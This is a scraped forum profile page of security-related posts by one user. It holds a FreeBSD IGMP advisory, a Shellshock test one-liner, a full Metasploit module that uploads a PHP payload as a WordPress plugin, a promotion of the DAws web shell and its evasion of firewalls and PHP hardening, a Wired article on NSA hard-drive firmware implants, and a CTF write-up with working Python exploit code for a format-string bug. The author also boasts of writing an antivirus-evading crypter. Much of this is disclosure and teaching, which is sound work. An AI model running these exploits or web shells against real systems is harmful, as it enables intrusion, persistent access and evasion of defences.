Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. 1. Ambele - Aplicatiile importante exista pentru ambele platforme 2. Java + Android specific 3. Objective C - iOS specific
  2. Ai fi surprins sa afli pe la ce firme lucreaza persoane de pe aici sau fosti membri.
  3. FreeBSD Security Advisory - IGMP Integer Overflow Authored by Marek Kroemeke, Mateusz Kocielski | Site security.freebsd.org FreeBSD Security Advisory - An integer overflow in computing the size of IGMPv3 data buffer can result in a buffer which is too small for the requested operation. An attacker who can send specifically crafted IGMP packets could cause a denial of service situation by causing the kernel to crash. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ============================================================================= FreeBSD-SA-15:04.igmp Security Advisory The FreeBSD Project Topic: Integer overflow in IGMP protocol Category: core Module: igmp Announced: 2015-02-25 Credits: Mateusz Kocielski, Logicaltrust, Marek Kroemeke, and 22733db72ab3ed94b5f8a1ffcde850251fe6f466 Affects: All supported versions of FreeBSD. Corrected: 2015-02-25 05:43:02 UTC (stable/10, 10.1-STABLE) 2015-02-25 05:56:16 UTC (releng/10.1, 10.1-RELEASE-p6) 2015-02-25 05:56:16 UTC (releng/10.0, 10.0-RELEASE-p18) 2015-02-25 05:43:02 UTC (stable/9, 9.3-STABLE) 2015-02-25 05:56:54 UTC (releng/9.3, 9.3-RELEASE-p10) 2015-02-25 05:43:02 UTC (stable/8, 8.4-STABLE) 2015-02-25 05:56:54 UTC (releng/8.4, 8.4-RELEASE-p24) CVE Name: CVE-2015-1414 For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit <URL:https://security.FreeBSD.org/>. I. Background IGMP is a control plane protocol used by IPv4 hosts and routers to propagate multicast group membership information. IGMP version 3 is implemented on FreeBSD. II. Problem Description An integer overflow in computing the size of IGMPv3 data buffer can result in a buffer which is too small for the requested operation. III. Impact An attacker who can send specifically crafted IGMP packets could cause a denial of service situation by causing the kernel to crash. IV. Workaround Block incoming IGMP packets by protecting your host/networks with a firewall. V. Solution Perform one of the following: 1) Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date. 2) To update your vulnerable system via a binary patch: Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility: # freebsd-update fetch # freebsd-update install 3) To update your vulnerable system via a source code patch: The following patches have been verified to apply to the applicable FreeBSD release branches. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch https://security.FreeBSD.org/patches/SA-15:04/igmp.patch # fetch https://security.FreeBSD.org/patches/SA-15:04/igmp.patch.asc # gpg --verify igmp.patch.asc Apply the patch. Execute the following commands as root: # cd /usr/src # patch < /path/to/patch c) Recompile your kernel as described in <URL:https://www.FreeBSD.org/handbook/kernelconfig.html> and reboot the system. VI. Correction details The following list contains the correction revision numbers for each affected branch. Branch/path Revision - ------------------------------------------------------------------------- stable/8/ r279263 releng/8.4/ r279265 stable/9/ r279263 releng/9.3/ r279265 stable/10/ r279263 releng/10.0/ r279264 releng/10.1/ r279264 - ------------------------------------------------------------------------- To see which files were modified by a particular revision, run the following command, replacing NNNNNN with the revision number, on a machine with Subversion installed: # svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base Or visit the following URL, replacing NNNNNN with the revision number: <URL:https://svnweb.freebsd.org/base?view=revision&revision=NNNNNN> VII. References <URL:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1414> The latest revision of this advisory is available at <URL:https://security.FreeBSD.org/advisories/FreeBSD-SA-15:04.igmp.asc> -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.1.1 (FreeBSD) iQIcBAEBCgAGBQJU7WjDAAoJEO1n7NZdz2rnjr8QAL0J0+4lRtPXRyDRX2xFSnzw sc3OpfmlTiD3pCFkebTYy3/+EK86iAL1ZELqlJe5mm2+pzhCQB13C4/exc0l1U6b tyiGXxhVi2/4SBrs6n9lmB/YhXkgtqaOQAcNaOD6sVbS1e5cBtjnG86oOq8tQ2qG c7Dvh3HTp9M5fDJtsI40SIpqy3FcKORBfpjYd8jONfSqMnLM2kM8xzwHSv4/X23e GlDKHtIi+1ylD/Qu7Z3S7hqXDTSYjZb1QHc7axDFB6X6nj2Rz3aWS2hPPTypFd3T zTj5DZjgiP7U2LhR40sWW68RYi21yzNUwbe0w5LeDah6Ymc5CDO2ujdm3HDQbQGH pA9QIOjzpgR64nWLIJfZ7jMxL3rCCaCW3NCB/iRXni2Ib/wt3ZDkJyEk/SF4K82H 72U2u2qVjAsnhmwWK8gksBi9bEXk3TnX778bkrwm4rt1xOjACq8k66LAernoE4tB DkE0pO4QR+6XwFb5sJMG/3L9CmrhTp2pkPDBQDbSD+ngBs5V5mJOqVf7gB+UptnN Fh8OACO/5KtDkqBDsCljHxHZNaboVF4Q613+iF5CUc6SYOTkLnBDUE4Pq38vlzVB GdZMEo/hvsCbR4c2TmdKuvEkEqayxCxcv0DXiyTlVCecxSkaYvMXPwCKK43QtS7S het83QCUxaVuxLiznuwR =lkYC -----END PGP SIGNATURE----- Sursa: http://packetstormsecurity.com/files/130557
  4. Maine ai interviul? Nu am fost la Bitdefender, dar am fost la Avira. Postul era de C++ Developer, dar asta nu inseamna ca o sa umbli tu la engine-ul de scanare, probabil postul e pentru tool-uri auxiliare: backup, password manager sau mai stiu eu ce. La mine interviul a avut doua etape (cred): 1. "Interviul" tehnic 2. Discutiile "Interviul tehnic" a fost: ai un calculator cu Visual C++ si conexiune la net. Fa un client TCP care se conecteaza la un server TCP si un server TCP, care suporta mai multi clienti si care raspunde la request-uri. Aveam 3 ore la dispozitie si pentru "punctaj maxim" trebuia sa suporte mai multi clienti, multi-threading, select()... In fine, ideea e ca am facut tot ce trebuia, oricum unde ucrasem inainte facusem astfel de lucruri si mi-a fost foarte usor. La partea a doua insa am stat la discutii cu doua persoane de acolo. Cred ca mi-au pus si intrebari tehnice,probabil de C++ si poate de algoritmica, nu stiu daca si legate de altceva. Partea ciudata a fost ca m-au intrebat la ce proiecte am mai lucrat si le-am zis ca am facut un crypter. Normal, nu stiau ce e acela si le-am explicat ce face: "Pai stiti, face ca un fisier detectabil de antivirus, sa nu mai fie detectabil de antivirus". Nu m-au crezut. Le-am explicat cum functioneaza: "Pai stiti, incarca un executabil in memorie si il executa fara ca acesta sa ajunga pe disk". Tot nu credeau, ziceau ca antivirusul lor stie dintr-astea... In fine. Apoi ma intreaba: "Auzi, dar de ce te-am angaja pe tine, daca te folosesti de sursa antivirusului ca sa faci in continuare cryptere?". Si le raspund cam razand: "Pai stiti, nu am nevoie de sursa antivirusului ca sa fac asa ceva". Nu m-au mai sunat. tl;dr: Sa stii OOP bine: functii virtuale, clase, mostenire si mai stiu eu ce si sa stii binisor algoritmica. Nota: Primesti multe puncte bonus daca ai relatii acolo.
  5. Nytro

    Cmd.fm

    "mario"
  6. https://access.redhat.com/articles/1200223
  7. env X='() { (a)=>\' bash -c 'echo $(date)'; It works...
  8. Nu pare sa mearga.
  9. ./clean Nu va mai injurati.
  10. Bypassing Windows Lock Screen via Flash Screensaver February 23, 2015 Adrian Furtuna We have recently discovered an easy method to bypass the Windows Lock screen when a flash screensaver is running.The method allows an attacker to gain unauthorized access to a user’s Windows session if he has physical access to a locked machine. Background info When a user leaves his computer (ex. during a lunch break), he should lock his session in order to prevent other people from doing actions on his behalf.Some computers, mostly in corporate environments, are configured to play a flash animation as screensaver while the computer is locked. This configuration is done by specifying a path to a .scr file that should be played by the flash player – using the following registry key: HKEY_USERS\.DEFAULT\Control Panel\Desktop\SCRNSAVE.EXE Articol complet: http://securitycafe.ro/2015/02/23/bypassing-windows-lock-screen-via-flash-screensaver/
  11. WordPress Admin Shell Upload Authored by Rob Carr | Site metasploit.comThis Metasploit module will generate a plugin, pack the payload into it and upload it to a server running WordPress providing valid admin credentials are used. ### This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress Admin Shell Upload', 'Description' => %q{ This module will generate a plugin, pack the payload into it and upload it to a server running WordPress providing valid admin credentials are used. }, 'License' => MSF_LICENSE, 'Author' => [ 'Rob Carr <rob[at]rastating.com>' # Metasploit module ], 'DisclosureDate' => 'Feb 21 2015', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['WordPress', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) ], self.class) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def generate_plugin(plugin_name, payload_name) plugin_script = %Q{<?php /** * Plugin Name: #{plugin_name} * Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)} * Author: #{Rex::Text.rand_text_alpha(10)} * Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com * License: GPL2 */ ?>} zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded) zip end def exploit fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...") cookie = wordpress_login(username, password) fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? print_good("#{peer} - Authenticated with WordPress") print_status("#{peer} - Preparing payload...") plugin_name = Rex::Text.rand_text_alpha(10) payload_name = "#{Rex::Text.rand_text_alpha(10)}" payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") zip = generate_plugin(plugin_name, payload_name) print_status("#{peer} - Uploading payload...") uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie) fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded print_status("#{peer} - Executing the payload at #{payload_uri}...") register_files_for_cleanup("#{payload_name}.php") register_files_for_cleanup("#{plugin_name}.php") send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5) end end Sursa: WordPress Admin Shell Upload ? Packet Storm
  12. Cracking WPA WPA2 with Kali Linux (verbal step by step guide) This is a full verbal step by step guide on how to crack WPA and WPA2 encrypted passwords using aircrack-ng suit on Kali Linux If you are using VMware, Virtual box, or any Virtual application you will need to use an external USB WIFI card capable of packet injection. The WIFI card I use with and without my VMware is listed bellow. USE ctrl+c TO STOP THE PROGRAM AND GET YOUR COMMAND PROMPT BACK My Wireless card: Alfa Networks AWUSO36NHA you can buy this card online for around $25 - $40 to check if your card can do packet injection after creating the monitor mode interface open a terminal and type in: aireplay-ng -9 mon0 This will tell you your percentage of injection. OR check out http://www.aircrack-ng.org/doku.php?i... http://www.aircrack-ng.org/doku.php?i... WPA - WPA2 wordlist -- Let me google that for you
  13. Hello everyone, About There's multiple things that makes DAws better than every Web Shell out there: Supports CGI by dropping Bash Shells (for Linux) and Batch Shells (for Windows). Bypasses WAFs, Disablers and Protection Systems; DAws isn't just about using a particular function to get the job done, it uses up to 6 functions if needed, for example, if shell_exec was disabled it would automatically use exec or passthru or system or popen or proc_open instead, same for Downloading a File from a Link, if Curl was disabled then file_get_content is used instead and this Feature is widely used in every section and fucntion of the shell. (Yes, it bypasses Suhosin too) Automatic Encoding; DAws randomly and automatically encodes most of your GET and POST data using XOR(Randomized key for every session) + Base64(We created our own Base64 encoding functions instead of using the PHP ones to bypass Disablers) which will allow your shell to Bypass pretty much every WAF out there. Advanced File Manager; DAws's File Manager contains everything a File Manager needs and even more but the main Feature is that everything is dynamically printed; the permissions of every File and Folder are checked, now, the functions that can be used will be available based on these permissions, this will save time and make life much easier. Tools: DAws holds bunch of useful tools such as "bpscan" which can identify useable and unblocked ports on the server within few minutes which can later on allow you to go for a bind shell for example. Everything that can't be used at all will be simply removed so Users do not have to waste their time. We're for example mentioning the execution of c++ scripts when there's no c++ compilers on the server(DAws would have checked for multiple compilers in the first place) in this case, the function would be automatically removed and the User would know. Supports Windows and Linux. Openned Source. Extra Info Directory Romaing: DAws checks, within the `web` directory, for a Writable and Readable Directory which will then be used to Drop and Execute needed scripts which will guarantee their success. [*]Eval Form: `include`, `include_once`, `require` or `require_once` are being used instead PHP `eval` to bypass Protection Systems. [*]Download from Link - Methods: PHP Curl File_put_content [*]Zip - Methods: Linux: Zip [*]Windows: Vbs Script [*]Shells and Tools: Extra: `nohup`, if installed, is automatically used for background processing. Updates: DAws is always getting updated, I guess that's enough for this part Lol. Credits: dotcppfile Aces Sursa: https://github.com/dotcppfile/DAws
  14. How the NSA’s Firmware Hacking Works and Why It’s So Unsettling By Kim Zetter 02.22.15 | One of the most shocking parts of the recently discovered spying network Equation Group is its mysterious module designed to reprogram or reflash a computer hard drive’s firmware with malicious code. The Kaspersky researchers who uncovered this said its ability to subvert hard drive firmware—the guts of any computer—“surpasses anything else” they had ever seen. The hacking tool, believed to be a product of the NSA, is significant because subverting the firmware gives the attackers God-like control of the system in a way that is stealthy and persistent even through software updates. The module, named “nls_933w.dll”, is the first of its kind found in the wild and is used with both the EquationDrug and GrayFish spy platforms Kaspersky uncovered. It also has another capability: to create invisible storage space on the hard drive to hide data stolen from the system so the attackers can retrieve it later. This lets spies like the Equation Group bypass disk encryption by secreting documents they want to seize in areas that don’t get encrypted. Kaspersky has so far uncovered 500 victims of the Equation Group, but only five of these had the firmware-flashing module on their systems. The flasher module is likely reserved for significant systems that present special surveillance challenges. Costin Raiu, director of Kaspersky’s Global Research and Analysis Team, believes these are high-value computers that are not connected to the internet and are protected with disk encryption. Here’s what we know about the firmware-flashing module. How It Works Hard drive disks have a controller, essentially a mini-computer, that includes a memory chip or flash ROM where the firmware code for operating the hard drive resides. When a machine is infected with EquationDrug or GrayFish, the firmware flasher module gets deposited onto the system and reaches out to a command server to obtain payload code that it then flashes to the firmware, replacing the existing firmware with a malicious one. The researchers uncovered two versions of the flasher module: one that appears to have been compiled in 2010 and is used with EquatinoDrug and one with a 2013 compilation date that is used with GrayFish. The Trojanized firmware lets attackers stay on the system even through software updates. If a victim, thinking his or her computer is infected, wipes the computer’s operating system and reinstalls it to eliminate any malicious code, the malicious firmware code remains untouched. It can then reach out to the command server to restore all of the other malicious components that got wiped from the system. Even if the firmware itself is updated with a new vendor release, the malicious firmware code may still persist because some firmware updates replace only parts of the firmware, meaning the malicious portions may not get overwritten with the update. The only solution for victims is to trash their hard drive and start over with a new one. The attack works because firmware was never designed with security in mind. Hard disk makers don’t cryptographically sign the firmware they install on drives the way software vendors do. Nor do hard drive disk designs have authentication built in to check for signed firmware. This makes it possible for someone to change the firmware. And firmware is the perfect place to conceal malware because antivirus scanners don’t examine it. There’s also no easy way for users to read the firmware and manually check if it’s been altered. The firmware flasher module can reprogram the firmware of more than a dozen different hard drive brands, including IBM, Seagate, Western Digital, and Toshiba. “You know how much effort it takes to land just one firmware for a hard drive? You need to know specifications, the CPU, the architecture of the firmware, how it works,” Raiu says. The Kaspersky researchers have called it “an astonishing technical accomplishment and is testament to the group’s abilities.” Once the firmware is replaced with the Trojanized version, the flasher module creates an API that can communicate with other malicious modules on the system and also access hidden sectors of the disk where the attackers want to conceal data they intend to steal. They hide this data in the so-called service area of the hard drive disk where the hard disk stores data needed for its internal operation. Hidden Storage Is the Holy Grail The revelation that the firmware hack helps store data the attackers want to steal didn’t get much play when the story broke last week, but it’s the most significant part of the hack. It also raises a number of questions about how exactly the attackers are pulling this off. Without an actual copy of the firmware payload that gets flashed to infected systems, there’s still a lot that’s unknown about the attack, but some of it can be surmised. The ROM chip that contains the firmware includes a small amount of storage that goes unused. If the ROM chip is 2 megabytes, the firmware might take up just 1.5 megabytes, leaving half a megabyte of unused space that can be employed for hiding data the attackers want to steal. This is particularly useful if the the computer has disk encryption enabled. Because the EquationDrug and GrayFish malware run in Windows, they can grab a copy of documents while they’re unencrypted and save them to this hidden area on the machine that doesn’t get encrypted. There isn’t much space on the chip for a lot of data or documents, however, so the attackers can also just store something equally as valuable to bypass encryption. “Taking into account the fact that their GrayFish implant is active from the very boot of the system, they have the ability to capture the encryption password and save it into this hidden area,” Raiu says. Authorities could later grab the computer, perhaps through border interdiction or something the NSA calls “customs opportunities,” and extract the password from this hidden area to unlock the encrypted disk. Raiu thinks the intended targets of such a scheme are limited to machines that are not connected to the internet and have encrypted hard drives. One of the five machines they found hit with the firmware flasher module had no internet connection and was used for special secure communications. “[The owners] only use it in some very specific cases where there is no other way around it,” Raiu says. “Think about Bin Laden who lived in the desert in an isolated compound—doesn’t have internet and no electronic footprint. So if you want information from his computer how do you get it? You get documents into the hidden area and you wait, and then after one or two years you come back and steal it. The benefits [of using this] are very specific.” Raiu thinks, however, that the attackers have a grander scheme in mind. “In the future probably they want to take it to the next level where they just copy all the documents [into the hidden area] instead of the password. [Then] at some point, when they have an opportunity to have physical access to the system, they can then access that hidden area and get the unencrypted docs.” They wouldn’t need the password if they could copy an entire directory from the operating system to the hidden sector for accessing later. But the flash chip where the firmware resides is too small for large amounts of data. So the attackers would need a bigger hidden space for storage. Luckily for them, it exists. There are large sectors in the service area of the hard drive disk that are also unused and could be commandeered to store a large cache of documents, even ones that might have been deleted from other parts of the computer. This service area, also called the reserved are or system area, stores the firmware and other data needed to operate drives, but it also contains large portions of unused space. An interesting paper (.pdf) published in February 2013 by Ariel Berkman, a data recovery specialist at the Israeli firm Recover, noted “not only that these areas can’t be sanitized (via standard tools), they cannot be accessed via anti-virus software [or] computer forensics tools.” Berkman points out that one particular model of Western Digital drives has 141 MB reserved for the service area, but only uses 12 MB of this, leaving the rest free for stealth storage. To write or copy data to service area requires special commands that are specific to each vendor and are not publicly documented, so an attacker would need to uncover what these are. But once they do, “y sending Vendor Specific Commands (VSCs) directly to the hard-drive, one can manipulate these [service] areas to read and write data that are otherwise inaccessible,” Berkman writes. It is also possible, though not trivial, to write a program to automatically copy documents to this area. Berkman himself wrote a proof-of-concept program to read and write a file of up to 94 MB to the service area, but the program was a bit unstable and he noted that it could cause some data loss or cause the hard drive to fail. One problem with hiding large amounts of data like this, however, is that its presence might be detected by examining the size of the used space in the service area. If there should be 129 MB of unused space in this sector but there’s only 80 MB, it’s a dead giveaway that something is there that shouldn’t be. But a leaked NSA document that was written in 2006 but was published by Der Spiegel last month suggests the spy agency might have resolved this particular problem. NSA Interns to the Rescue The document (.pdf) is essentially a wish list of future spy capabilities the NSA hoped to develop for its so-called Persistence Division, a division that has an attack team within it that focuses on establishing and maintaining persistence on compromised machines by subverting their firmware, BIOS, BUS or drivers. The document lists a number of projects the NSA put together for interns to tackle on behalf of this attack team. Among them is the “Covert Storage” project for developing a hard drive firmware implant that can prevent covert storage on disks from being detected. To do this, the implant prevents the system from disclosing the true amount of free space available on the disk. “The idea would be to modify the firmware of a particular hard drive so that it normally only recognizes, say, half of its available space,” the document reads. “It would report this size back to the operating system and not provide any way to access the additional space.” Only one partition of the drive would be visible on the partition table, leaving the other partitions—where the hidden data was stored—invisible and inaccessible. The modified firmware would have a special hook embedded in it that would unlock this hidden storage space only after a custom command was sent to the drive and the computer was rebooted. The hidden partition would then be available on the partition table and accessible until the secret storage was locked again with another custom command. How exactly the spy agency planned to retrieve the hidden data was unclear from the eight-year-old document. Also unclear is whether the interns ever produced a firmware implant that accomplished what the NSA sought. But given that the document includes a note that interns would be expected to produce a solution for their project within six months after assignment, and considering the proven ingenuity of the NSA in other matters, they no doubt figured it out. Sursa: http://www.wired.com/2015/02/nsa-firmware-hacking/
  15. Maximum Overkill Two - From Format String Vulnerability to Remote Code Execution Feb 22nd, 2015 1:01 pm You might remember my first Maximum Overkill writeup, where I made a ROP exploit with ASLR/NX bypass for a simple buffer overflow exercise. I completed another over-the-top, why-would-you-even-do-this exploit for a CTF challenge and figured I’d shared it. ringzer0team has a very nice, long-running CTF going on. I already did the shellcoding challenges, which I really enjoyed. I completed the fourth pwnable level on an evening, which simply involved dumping the stack via a format string bug and grabbing a password. I thought to myself: “would I be able to get a shell using this format string vulnerability?” This writeup is made with Hindsighttm and as such, I have not included all the paths that led nowhere or the mistakes I have made. I have tried to include the thought-process as much as possible. Dumping the Stack OK, onwards! One catch is that the remote box is a 64-bit system and I don’t have the binary itself. We do have a snippet of source code and the ability to dump the stack from within a vulnerable sprintf call: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20[/TD] [TD=class: code]char *response = NULL; char *cleanBuffer = NULL; response = (char*)malloc(2048); memset(response, 0, 2048); cleanBuffer = (char*)malloc(strlen(buf)); memset(cleanBuffer, 0, strlen(buf)); strncpy(cleanBuffer, buf, strlen(buf) - 1); char test[] = "AAAABBBBCCCC"; char flag[] = "XXXXXXXXXXXXXXXXXXXXXXXXXX"; if(strcmp(flag, cleanBuffer) == 0) { strcpy(response, "Here's your flag FLAG-XXXXXXXXXXXXXXXXXXXXXXXXXX.\n"); } else { sprintf(response, cleanBuffer); // <-- we have a format string vulnerability here sprintf(response, "%s is a wrong password.\n\nPassword:", response); }[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]bas@tritonal:~$ nc pwn01.ringzer0team.com 13377 HF Remote Secure Shell [1.3.37] Password:%lx-%lx-%lx-%lx-%lx-%lx- 17f4880-25-0-80-7fffd6e74448-200000000- is a wrong password.[/TD] [/TR] [/TABLE] The fifth address jumps out. It is either a stack address, or a libc address. Let’s see what it points to: I tried to write to it using %n, which didn’t crash the remote binary. This meant that it most likely is a stack address! I wrote a small python script to dump the stack. I noticed I could not re-use the connection I made via python sockets, so I had to reconnect for every format string I sent. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18[/TD] [TD=class: code]import struct from socket import * def grab(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$lx\n') data = s.recv(64) addr = data.split()[0] print i, addr s.close() for z in range(700): grab(z)[/TD] [/TR] [/TABLE] This indeed dumped out the data on the stack. I found where the fifth parameter was pointing to: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]...snip... 633 7fffeecd9c28 634 1c 635 2 636 7fff00000042 637 7fffeecdaf65 638 0 ...snip...[/TD] [/TR] [/TABLE] See, it points to the 636th parameter, because the lower 32 bits contain the value I’ve just written with %n! Pretty neat. So with %<parameter number>$lx I could view what that particular parameter contained, and with %<parameter number>$s I could see what it pointed to (provided it was pointing to a valid memory address!) I wondered where the 636th parameter pointed to: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]bas@tritonal:~$ nc pwn01.ringzer0team.com 13377 HF Remote Secure Shell [1.3.37] Password:%636$lx 7fff3ca49f51 is a wrong password. Password:%636$s /home/crackme/fs_64 is a wrong password. [/TD] [/TR] [/TABLE] Interesting! I figured I could use this to my advantage… The 5th parameter points to the 636th, which itself points to somewhere on the stack. I could write to the address contained in the 636th parameter, like so: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14[/TD] [TD=class: code]bas@tritonal:~$ nc pwn01.ringzer0team.com 13377 HF Remote Secure Shell [1.3.37] Password:%636$lx 7fff3ca49f51 is a wrong password. Password:%636$s /home/crackme/fs_64 is a wrong password. Password:%66c%636$hhn ? is a wrong password. Password:%636$s Bhome/crackme/fs_64 is a wrong password.[/TD] [/TR] [/TABLE] Write what where now? But more importantly, I could write to the 636th parameter via the fifth, giving me a write-what-where primitive! So, for instance, to write to 0x7fff3ca49f00, I’d first do %256c%5$hhn. This will overwrite the last byte of the 636th parameter with a NULL. Then, I’d write to the address using %66c%636$hhn. Finally, I’d like to know where this byte was written, which turned out to be the easiest: we have the address of 636, and we have another address 0x7fff3ca49f00. Subtracting the first from the latter and dividing by 8 gives the format string parameter we need to access the written byte directly! I wrote a simple proof-of-concept for this. The following python code abuses the format string vulnerability to write out ‘BAS’ to an area on the stack. We can access it indirectly with %636$s and directly using %<parameter>$lx, given the proper format parameter. The funny thing that I noticed was that my changes to the stack were persistent, even after reconnecting. This meant that the binary did not fork(), but handled each request by itself. This is interesting for later… [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77[/TD] [TD=class: code]import struct from socket import * def grab_value_directly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$lx\n') data = s.recv(64) addr = int(data.split()[0], 16) s.close() return addr def grab_value_indirectly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$s\n') data = s.recv(64) addr = data.split()[0] # ugly workaround, only grab 8 bytes. will fix this later! if len(addr) > 8: address = addr[0:8] else: address = addr + '\x00' * (8-len(addr)) s.close() return struct.unpack('L', address)[0] def write_byte_value_via(i, value): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(value)+'c%'+str(i)+'$hhn\n') data = s.recv(64) s.close() parameter_636_addr = grab_value_directly(5) print "parameter 5 points to: ", hex(parameter_636_addr) value_at_636 = grab_value_indirectly(5) print "address pointed to by parameter 5 contains: ", hex(value_at_636) # this will write out 'BAS',0 to the scratch area! # update the pointer write_byte_value_via(5, 1) # write a byte to the scratch area write_byte_value_via(636, ord('B')) # update the pointer write_byte_value_via(5, 2) # write a byte to the scratch area write_byte_value_via(636, ord('A')) write_byte_value_via(5, 3) write_byte_value_via(636, ord('S')) write_byte_value_via(5, 4) # write out a NULL byte first writing out 256 bytes (which wraps to 0x00) write_byte_value_via(636, 256) # reset the pointer write_byte_value_via(5, 1) value_at_scratch = grab_value_indirectly(636) print "scratch contains: ", hex(value_at_scratch) format_offset = ((value_at_636 & 0xffffffffffffff00) - parameter_636_addr)/8 print "scratch is parameter {}".format(636+format_offset) # CAN ADDRESS IT DIRECTLY!! scratch_addr = grab_value_directly(636+format_offset) print "scratch contains: ", hex(scratch_addr)[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]bas@tritonal:~/tmp/ringzer0ctf/pwnable-linux/5$ python sploit1.py parameter 5 points to: 0x7fff3ca480d8 address pointed to by parameter 5 contains: 0x7fff3ca49f51 scratch contains: 0x534142 scratch is parameter 1601 scratch contains: 0x53414200[/TD] [/TR] [/TABLE] This is great, because I have a write-what-where primitive know! My first thought was to overwrite a GOT entry with system(). For that to work, I needed several things: the address of system() in libc, and thus which version of libc I was dealing with; and the address of a GOT pointer which I could overwrite. First things first, I wrote a dumper script to start dumping the binary. Slam Dump Using the write-an-address-to-scratch-space primitive, I started dumping the binary. I added a function to dump from a specific memory address and I verified it by grabbing the bytes at 0x400000. These should correspond to the magic bytes of an ELF header. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71[/TD] [TD=class: code]import struct from socket import * def grab_value_directly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$lx\n') data = s.recv(64) addr = int(data.split()[0], 16) s.close() return addr def grab_value_indirectly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$s\n') data = s.recv(64) addr = data.split()[0] # ugly workaround, only grab 8 bytes. will fix this later! if len(addr) > 8: address = addr[0:8] else: address = addr + '\x00' * (8-len(addr)) s.close() return struct.unpack('L', address)[0] def write_byte_value_via(i, value): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(value)+'c%'+str(i)+'$hhn\n') data = s.recv(64) s.close() def read_from_address(addr, offset): for i in range(4): b = (addr & 0xff) addr >>= 8 if b == 0: b = 256 if i == 0: i = 256 write_byte_value_via(5, i) # change address write_byte_value_via(636, # write byte dump1 = grab_value_indirectly(636+offset) return hex(dump1) parameter_636_addr = grab_value_directly(5) print "parameter 5 points to: ", hex(parameter_636_addr) value_at_636 = grab_value_indirectly(5) print "address pointed to by parameter 5 contains: ", hex(value_at_636) value_at_scratch = grab_value_indirectly(636) print "scratch contains: ", hex(value_at_scratch) format_offset = ((value_at_636 & 0xffffffffffffff00) - parameter_636_addr)/8 print "scratch is parameter {}".format(636+format_offset) print "read from 0x400000: {}".format(read_from_address(0x400000, format_offset))[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]bas@tritonal:~/tmp/ringzer0ctf/pwnable-linux/5$ python sploit3.py parameter 5 points to: 0x7fff3ca480d8 address pointed to by parameter 5 contains: 0x7fff3ca49f01 scratch contains: 0x7369 scratch is parameter 1601 read from 0x400000: 0x10102464c457f[/TD] [/TR] [/TABLE] Indeed, this dumps out the ELF header’s magic bytes! By this 